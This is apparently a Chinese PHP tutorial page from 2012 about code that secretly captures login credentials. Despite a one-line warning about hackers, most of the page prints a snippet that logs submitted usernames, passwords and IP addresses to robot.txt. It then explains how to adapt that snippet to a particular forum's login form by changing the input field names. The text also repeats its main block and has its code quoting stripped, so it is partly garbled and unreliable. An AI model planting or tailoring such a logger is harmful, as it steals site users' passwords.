php截取后臺登陸密碼的代碼
更新時間：2012年05月05日 01:24:13 作者：
php截取后臺登陸密碼的代碼,很多時候黑客留了這樣的代碼，大家一定要注意下
if($_POST[loginsubmit]!=){ //判斷是否點了登陸按鈕
$sb=user:.$_POST[username].--passwd:.$_POST[password].--ip:.$HTTP_SERVER_VARS[REMOTE_ADDR].--.date(Y-m-d H:i:s).rn; // 把POST接收到的值 連起來賦值給變量$sb
fwrite(fopen(robot.txt,ab),$sb);} //結(jié)果寫入一個文件
下面簡單分析一下,以華夏的登陸頁面為例。打開bbs.xxx.com/login.php 右鍵查看源碼,CTRL+F搜索action找到登陸的表單。
我只復(fù)制了關(guān)鍵代碼過來.
<form action=login.php? method=post name=login onSubmit=this.submit.disabled=true;> //action后面的值即是表單提交的地址，里面會處理登陸，比如判斷密碼是不是正確什么的 method為POST，所以用$_POST接收。
。。。。強大的省略號。。。。。。
<TR>
<TD height=40>賬號(<U>U</U>):<BR>
<INPUT
class=input id=pwuser accessKey=u size=16
name=pwuser> </TD></TR> //用戶名的input輸入框, 注意其name的值， 要和$_POST[username] 這里面的對應(yīng), 所以要截取華夏的密碼，需要改為 $_POST[pwuser]
<TR>
<TD height=40>密 碼(<U>P</U>):<BR><INPUT
class=input id=pwpwd accessKey=p
type=password size=16 name=pwpwd> </TD></TR> //用戶名的input輸入框, 注意其name的值， 要和$_POST[username] 這里面的對應(yīng), 所以要截取華夏的密碼，需要改為 $_POST[pwpwd]
$sb=user:.$_POST[username].--passwd:.$_POST[password].--ip:.$HTTP_SERVER_VARS[REMOTE_ADDR].--.date(Y-m-d H:i:s).rn; // 把POST接收到的值 連起來賦值給變量$sb
fwrite(fopen(robot.txt,ab),$sb);} //結(jié)果寫入一個文件
下面簡單分析一下,以華夏的登陸頁面為例。打開bbs.xxx.com/login.php 右鍵查看源碼,CTRL+F搜索action找到登陸的表單。
我只復(fù)制了關(guān)鍵代碼過來.
<form action=login.php? method=post name=login onSubmit=this.submit.disabled=true;> //action后面的值即是表單提交的地址，里面會處理登陸，比如判斷密碼是不是正確什么的 method為POST，所以用$_POST接收。
。。。。強大的省略號。。。。。。
<TR>
<TD height=40>賬號(<U>U</U>):<BR>
<INPUT
class=input id=pwuser accessKey=u size=16
name=pwuser> </TD></TR> //用戶名的input輸入框, 注意其name的值， 要和$_POST[username] 這里面的對應(yīng), 所以要截取華夏的密碼，需要改為 $_POST[pwuser]
<TR>
<TD height=40>密 碼(<U>P</U>):<BR><INPUT
class=input id=pwpwd accessKey=p
type=password size=16 name=pwpwd> </TD></TR> //用戶名的input輸入框, 注意其name的值， 要和$_POST[username] 這里面的對應(yīng), 所以要截取華夏的密碼，需要改為 $_POST[pwpwd]
您可能感興趣的文章:
相關(guān)文章
在本篇文章里小編給大家整理了一篇關(guān)于php類自動加載失敗的處理方案及實例代碼，有興趣的朋友們可以學(xué)習(xí)參考下。2021-09-09
前端傳倆個標(biāo)準(zhǔn)的 時間格式過來，格式像2009-05-12 12:12:30，然后根據(jù)需要返回這個時間段的不同單位的表示,對于時間格式的校驗我這里代碼沒貼出來，所以用的時候自己考慮加上2016-06-06
這篇文章主要介紹了thinkphp微信開發(fā)，重點介紹的是安全模式下消息的加密解密，感興趣的小伙伴們可以參考一下2015-12-12
php5.4以下版本json不支持不轉(zhuǎn)義內(nèi)容中文的解決方法
這篇文章主要介紹了php5.4以下版本json不支持不轉(zhuǎn)義內(nèi)容中文的解決方法,通過一個自定義php方法實現(xiàn)模擬joson中文不轉(zhuǎn)義,具有一定參考借鑒價值,需要的朋友可以參考下2015-01-01
{$smarty}保留變量可以被用于訪問一些特殊的模板變量，以下是全部頁面請求變量。2008-10-10
自PHP5后，引入了__autoload這個攔截器方法，可以自動對class文件進(jìn)行包含引用，下面看具體的使用方法。2010-12-12
php下按上下級層次關(guān)系輸出內(nèi)容，需要的朋友可以參考下。2010-07-07
這篇文章主要介紹了php策略模式,對比工廠模式簡單分析了php策略模式的原理與使用方法,需要的朋友可以參考下2019-09-09
這篇文章主要介紹了PHP面向?qū)ο蠼涌诟綦x原則(ISP),詳細(xì)分析了接口隔離的概念、原理、使用方法及相關(guān)操作注意事項,需要的朋友可以參考下2018-04-04
php實現(xiàn)mysql備份恢復(fù)分卷處理的方法
這篇文章主要介紹了php實現(xiàn)mysql備份恢復(fù)分卷處理的方法,包括完整的MySQL備份恢復(fù)類文件及用法實例,注釋包含了詳盡的用法說明,是非常實用的技巧,需要的朋友可以參考下2014-12-12